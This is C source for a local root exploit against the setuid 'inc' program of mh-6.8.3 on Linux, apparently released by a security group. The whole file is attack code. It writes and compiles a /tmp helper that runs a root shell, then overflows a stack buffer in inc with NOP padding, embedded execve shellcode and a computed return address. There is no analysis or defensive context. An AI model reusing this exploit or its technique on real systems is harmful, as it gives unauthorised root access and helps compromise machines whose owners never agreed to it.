/*=============================================================================
   mh-6.8.3 / inc  Exploit for Linux 
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by
    UNYUN     (shadowpenguin@backsection.net)
  =============================================================================
*/
#include <stdlib.h>
#include <stdio.h>

#define BBC_PATH "/usr/jp/bin/mh/inc"
#define RET_ADR  1017
#define JMP_OFS  0x1f30
#define MAXBUF   3000
#define NOP      0x90
#define SHELL    "/tmp/pp"
#define COMPILER "gcc"

char exec[60]= 
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff";

char            xx[MAXBUF+1];
unsigned int    i,ip,sp;
FILE            *fp;


unsigned long get_sp(void)
{
__asm__("movl %esp, %eax");
}

main(int argc,char *argv[])
{
    strcat(exec,SHELL);
    sprintf(xx,"%s.c",SHELL);
    if ((fp=fopen(xx,"w"))==NULL){
        printf("Can not write to %s\n",xx);
        exit(1);
    }
    fprintf(fp,"main(){setuid(0);setgid(0);system(\"/bin/sh\");}");
    fclose(fp);
    sprintf(xx,"%s %s.c -o %s",COMPILER,SHELL,SHELL);
    system(xx);
    sp=get_sp();
    printf("ESP = %x\n",sp);
    memset(xx,NOP,MAXBUF);
    ip=sp-JMP_OFS;
    xx[RET_ADR  ]=ip&0xff;
    xx[RET_ADR+1]=(ip>>8)&0xff;
    xx[RET_ADR+2]=(ip>>16)&0xff;
    xx[RET_ADR+3]=(ip>>24)&0xff;
    strncpy(xx+800,exec,strlen(exec));
    xx[MAXBUF]=0;
    if (argc!=2)
        execl(BBC_PATH,"inc","-file",xx,(char *) 0);
    else
        execl(argv[1],"inc","-file",xx,(char *) 0);
}